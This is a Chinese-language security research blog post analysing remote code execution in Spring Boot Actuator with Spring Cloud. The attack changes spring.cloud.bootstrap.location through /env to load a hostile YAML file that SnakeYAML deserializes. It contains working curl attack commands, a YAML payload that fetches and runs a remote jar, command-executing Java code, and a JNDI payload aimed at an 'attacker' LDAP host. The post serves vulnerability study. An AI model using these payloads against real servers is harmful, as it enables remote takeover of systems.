Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

- 9 mins

0x01. TL;DR

今年二月份,Michael Stepankin 大佬写了一篇关于 Spring Boot Actuator 的利用文章 https://www.veracode.com/blog/research/exploiting-spring-boot-actuators,文中介绍了多种利用思路和方式,接着作者在五月份的时候更新了文章,增加了在使用 Spring Cloud 相关组件时,通过修改 spring.cloud.bootstrap.location 环境变量实现 RCE 的方法,因为网上没有找到该方法的分析文章,自己 debug 并记录了一下过程,主要内容包括

本文中涉及到的代码和漏洞环境参考 https://github.com/b1ngz/spring-boot-actuator-cloud-vul

0x02. RCE 分析

首先简单总结一下利用过程

  1. 利用 /env endpoint 修改 spring.cloud.bootstrap.location 属性值为一个外部 yml 配置文件 url 地址,如 http://127.0.0.1:63712/yaml-payload.yml

  2. 请求 /refresh endpoint,触发程序下载外部 yml 文件,并由 SnakeYAML 库进行解析,因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数,结合 JDK 自带的 javax.script.ScriptEngineManager 类,可实现加载远程 jar 包,完成任意代码执行

从过程中我们知道,命令执行是由于 SnakeYAML 在解析 YAML 文件时,存在反序列化漏洞导致的,来看一个使用 SnakeYAML 库反序列化的例子

    @Test
    public void testYaml() {
        Yaml yaml = new Yaml();
        Object url = yaml.load("!!java.net.URL [\"http://127.0.0.1:63712/yaml-payload.jar\"]");
        // class java.net.URL
        System.out.println(url.getClass());
        // http://127.0.0.1:63712/yaml-payload.jar
        System.out.println(url);
    }

SnakeYAML 支持 !! + 完整类名的方式来指定要反序列化的类,然后以 [arg1, arg2, ...] 的方式来传递构造方法参数,例子中的代码执行完后会出反序列化一个 java.net.URL 类的实例

再来看一下文章给出的外部 yml 文件 yaml-payload.yml 的内容

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:61234/yaml-payload.jar"]
  ]]
]

SnakeYAML 处理上述内容的过程可以等价于以下 java 代码

URL url = new URL("http://127.0.0.1:63712/yaml-payload.jar");
new ScriptEngineManager(new URLClassLoader(new URL[]{url}));

代码执行后,会从 http://127.0.0.1:63712/yaml-payload.jar 地址下载 jar 包,并在包中寻找一个 javax.script.ScriptEngineFactory 接口的实现类,然后实例化,因为这个 jar 包代码是可控的,因此可执行任意代码

大致过程明白了,我们来 debug 一下

作者给出的 yaml-payload.jar 代码见 https://github.com/artsploit/yaml-payload,关键代码为 AwesomeScriptEngineFactory.java 类,构造函数中使用 Runtime 来执行系统命令

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
        Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    ...
}

我们在 Runtime.exec() 方法下断点,调用栈如下

image-20191128201612824

方法调用顺序

javax.script.ScriptEngineManager<init>
	javax.script.ScriptEngineManager.init()
		javax.script.ScriptEngineManager.initEngines()
			java.util.ServiceLoader.LazyIterator.nextService()
				artsploit.AwesomeScriptEngineFactory<init>
					Runtime.getRuntime().exec()

ScriptEngineManager 类的 initEngines 方法中使用了 Java SPI 机制来动态加载接口 ScriptEngineFactory 的实现类

image-20191128200536305

这也是为什么 jar 包中 AwesomeScriptEngineFactory 类需要实现 ScriptEngineFactory 接口、并且 META-INF/services 目录下需要有一个文件名为 javax.script.ScriptEngineFactory,值为实现类完整包名的原因,即需要符合 Java SPI 实现规范

image-20191128200916571

ServiceLoader 加载实现类的过程中,会调用无参数构造方法来创建实例,触发命令执行

对应代码在 ServiceLoader.LazyIterator 类的 nextService()

image-20191128194829490

分析完 YAML 反序列化后,我们来看一下在 Spring Boot Actuator 中时的执行流程,漏洞环境和代码见 master 分支

以 debug 模式运行漏洞环境,同样在 Runtime.exec() 方法下断点

首先修改 spring.cloud.bootstrap.location

curl -XPOST http://127.0.0.1:61234/env -d "spring.cloud.bootstrap.location=http://127.0.0.1:63712/yaml-payload.yml"  

访问 http://127.0.0.1:61234/env,可以看到在 manager 下多了我们设置的值

image-20191128202320441

然后请求 /refresh 接口触发

curl -XPOST http://127.0.0.1:61234/refresh

调用栈比较长,我们来看几个关键的地方

第一个是 RefreshEndpoint.refresh() 方法 ,即处理 /refresh 接口请求的类

image-20191128203000766

第二个是 BootstrapApplicationListener.bootstrapServiceContext() 方法,这里从环境变量中获取到了 spring.cloud.bootstrap.location 的值,即之前设置的外部 yml 文件 url

image-20191201222608591

接着会到 org.springframework.boot.env.PropertySourcesLoader.load() 方法,根据文件名后缀 (yml) ,使用 YamlPropertySourceLoader 类加载 url 对应的 yml 配置文件

根据右侧代码,因 spring-beans.jar 包含 snakeyaml.jar,因此 YamlPropertySourceLoader 在默认情况下是使用 SnakeYAML 库解析配置

image-20191201223032924

最终由 YamlProcessor.process() 方法中调用 Yaml.loadAll() 解析 yml 文件内容 ,之后的流程就和前面 SnakeYAML 反序列化过程类似,最终触发命令执行

image-20191201223430957

0x03. 高版本测试

作者在文章中给出的漏洞环境是 Spring Boot 1.x 版本,而在实际的测试过程中,遇到很多情况是 Spring Boot 2.x 版本。 在 2.x 版本中,actuator 默认的 endpoint 前缀是 /actuator,并且修改环境变量的 env 接口的 post body 也变成了 json 格式,步骤为

修改环境变量

curl -XPOST -H "Content-Type: application/json" http://127.0.0.1:61234/actuator/env -d '{"name":"spring.cloud.bootstrap.location","value":"http://127.0.0.1:63712/yaml-payload.yml"}'

访问 http://127.0.0.1:61234/actuator/env,可以看到 propertySources 下多了刚才设置的值

image-20191128213946911

接着 refresh 触发

curl -XPOST http://127.0.0.1:61234/actuator/refresh

执行完后,你会发现计算器并没有弹出,此时,黑人问号???只能再次 debug 找下原因

经过一番研究,发现是因为 spring.cloud.bootstrap.location 属性的值没有生效的缘故

来回忆一下之前提到的第二个关键点

BootstrapApplicationListener.bootstrapServiceContext() ,这里从环境变量中获取到了 spring.cloud.bootstrap.location 的值,即之前设置的外部 yml 文件 url

image-20191201224920275

可以看到,configLocation 的值为空,即无法从 environment 解析到 ${spring.cloud.bootstrap.location} 的值

通过对调用方法和变量的分析,发现是因为 environment 变量中的 propertySourceList 属性发生了变化

先来看一下 1.x 版本的,可以看到是包含名为 manager 的 PropertySource

image-20191130163635709

再来看一下 2.x 版本的,会发现没有了

image-20191130162850070

而 PropertySources 的加载代码在 org.springframework.cloud.context.refresh.ContextRefreshercopyEnvironment() 方法中

private StandardEnvironment copyEnvironment(ConfigurableEnvironment input)

相同的,我们先来看一下 1.x 的逻辑

	private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
		StandardEnvironment environment = new StandardEnvironment();
		MutablePropertySources capturedPropertySources = environment.getPropertySources();
    // 清空
		for (PropertySource<?> source : capturedPropertySources) {
			capturedPropertySources.remove(source.getName());
		}
    // 见下图
		for (PropertySource<?> source : input.getPropertySources()) {
			capturedPropertySources.addLast(source);
		}
		environment.setActiveProfiles(input.getActiveProfiles());
		environment.setDefaultProfiles(input.getDefaultProfiles());
		Map<String, Object> map = new HashMap<String, Object>();
		map.put("spring.jmx.enabled", false);
		map.put("spring.main.sources", "");
		capturedPropertySources
				.addFirst(new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
		return environment;
	}

input.getPropertySources() 的值

image-20191130171807878

以下是 2.x 的逻辑

  private static final String[] DEFAULT_PROPERTY_SOURCES = new String[] {
			// order matters, if cli args aren't first, things get messy
  		// commandLineArgs
			CommandLinePropertySource.COMMAND_LINE_PROPERTY_SOURCE_NAME,
			"defaultProperties" };

	private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
		StandardEnvironment environment = new StandardEnvironment();
		MutablePropertySources capturedPropertySources = environment.getPropertySources();
    // 以下代码发生了变化
		// Only copy the default property source(s) and the profiles over from the main
		// environment (everything else should be pristine, just like it was on startup).
		for (String name : DEFAULT_PROPERTY_SOURCES) {
			if (input.getPropertySources().contains(name)) {
        // 替换
				if (capturedPropertySources.contains(name)) {
					capturedPropertySources.replace(name,
							input.getPropertySources().get(name));
				}
				else { // 添加
					capturedPropertySources.addLast(input.getPropertySources().get(name));
				}
			}
		}
		environment.setActiveProfiles(input.getActiveProfiles());
		environment.setDefaultProfiles(input.getDefaultProfiles());
		Map<String, Object> map = new HashMap<String, Object>();
		map.put("spring.jmx.enabled", false);
		map.put("spring.main.sources", "");
		capturedPropertySources
				.addFirst(new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
		return environment;
	}

根据代码可以知道,只有 name 在 DEFAULT_PROPERTY_SOURCES 中的 PropertySource 才会被处理,其值为 String 数组,仅包含

而我们添加的是属性值是在 name 为 managerPropertySource ,因此不会被添加到 environment 的 propertySources (capturedPropertySources) 中,最终导致无法 resolve

到此,可以确定通过修改 spring.cloud.bootstrap.location 属性实现 RCE 的方法在高版本下无法成功

为了找到可利用的版本范围,看了下 git 的提交记录,发现该修改是在 spring-cloud-commons 1.3.0.RELEASE 合并的,因此只有依赖小于 1.3.0.RELEASE 才受影响

并且 Spring Cloud 相关 jar 包的依赖版本取决于 spring-cloud-dependencies 的版本,通过 pom.xml 可以知道, spring-cloud-dependencies 的 Dalston.RELEASE 版本依赖的还是 1.2.0 的 spring-cloud-commons ,而之后的版本则依赖 >= 1.3.0,根据文档 https://spring.io/projects/spring-cloud 中 Spring Cloud 对 Spring Boot 的版本适配说明

image-20191130175148009

我们可以知道

0x04. 思考

How to find?

作者是如何找到这个利用方式的?这个一直是看完这种大佬文章后第一个想知道答案的问题,也是最难的问题,这里尝试找到一些思路和线索

首先,在不使用 Spring Cloud 组件时,Spring Boot Actuator 的 /env endpoint 默认情况下只能读取环境变量的值,因此第一问题就是,如何得知有可以修改环境变量的功能?

这里就需要对 Spring 生态,如 Spring Boot, Spring Cloud 等,有一定的了解和使用经验,否则会无从下手。通过搜索 Spring Cloud 的文档,找到了相关说明 https://cloud.spring.io/spring-cloud-static/spring-cloud.html#_endpoints

  • POST to /env to update the Environment and rebind @ConfigurationProperties and log levels

  • /refresh for re-loading the boot strap context and refreshing the @RefreshScope beans

从文档中,我们也知道了请求 /refresh 可以触发 bootstrap context reload,并加载修改后的环境变量

那么接下来的问题就是找到哪些环境变量是可以修改的,并且在 reload 之后会执行某些敏感的操作。根据文章中的说明,能修改的环境变量非常的多,需要一一尝试。

这里正向思考没有什么思路,转从逆向,尝试从 spring.cloud.bootstrap.location 入手,根据 Spring 文档中的说明 customizing-bootstrap-properties

The bootstrap.yml (or .properties) location can be specified by setting spring.cloud.bootstrap.name (default: bootstrap) or spring.cloud.bootstrap.location (default: empty) — for example, in System properties.

可以得知这个变量是用于指定 bootstrap 配置文件的位置,支持的文件格式包括 ymlproperties ,对 Java 安全熟悉的朋友可能会联想到 yml 的解析会存在反序列化的问题,如果这里配置文件的内容我们能够控制,就存在可以被利用的可能。

再下一步,就是结合 Spring Cloud 源码和动手 debug,确定 spring.cloud.bootstrap.location 环境变量的处理和配置文件的解析过程。根据前面的分析,我们知道代码中会下载指定的 yml 文件,并且使用 SnakeYAML 库进行解析,因此存在反序列化漏洞。

当然,实际的过程会比刚才描述的要复杂很多,需要投入很多的时间和精力阅读文档、调试代码。

SnakeYAML Payload

根据 https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf 中的介绍,除了 javax.script.ScriptEngineManager 类外,我们还可以使用 com.sun.rowset.JdbcRowSetImpl 类,通过 JNDI 注入来完成利用,payload 如下

!!com.sun.rowset.JdbcRowSetImpl
  dataSourceName: ldap://attacker/obj
  autoCommit: true

相比 ScriptEngineManager,JNDI 注入在高版本 JDK 利用会有一些限制,不过因为 Spring Boot 默认使用 Tomcat 容器,仍可以成功利用,详细可参考 Michael Stepankin 大佬的另一篇文章 Exploiting JNDI Injections in Java

Changes In YamlPropertySourceLoader

在寻找高版本 Spring Boot Actuator 失败原因的过程中,也发现了即使 spring.cloud.bootstrap.location 能够成功 resolve,也仍然无法成功,原因在与 Spring boot 中解析 yml 的类 org.springframework.boot.env.YamlPropertySourceLoader 逻辑也发生了变化,测试代码如下

    @Test
    public void test() throws Exception {
        new YamlPropertySourceLoader().load("name", new ClassPathResource("payload/yaml-payload.yml"));
    }

执行后会报如下错误

image-20191130232431309

错误信息很明显,实例化 java.net.URL 时,构造方法的参数类型不正确,debug 后发现,高版本的 Spring Boot 将解析后的值存放在了 org.springframework.boot.origin.OriginTrackedValue.$OriginTrackedCharSequence 类中,而不是 java.lang.String,导致在反射创建实例时失败

0x05. 总结

文章简单分析了在同时使用 Spring Boot Actuator 和 Spring Cloud 时,利用修改 spring.cloud.bootstrap.location 环境变量实现 RCE 的原理和步骤,虽然在高版本中无法利用成功,但过程还是很值得学习。并且由于 Spring 生态的框架和组件非常的多,或许会有更多的利用方法,感兴趣的师父可以尝试研究一下。

最后,因个人水平有限,文章中可能会有描述不准确或者错误的地方,欢迎大家指出和交流

0x06. 参考

b1ngz
rss facebook twitter github weibo youtube mail spotify instagram linkedin google pinterest medium vimeo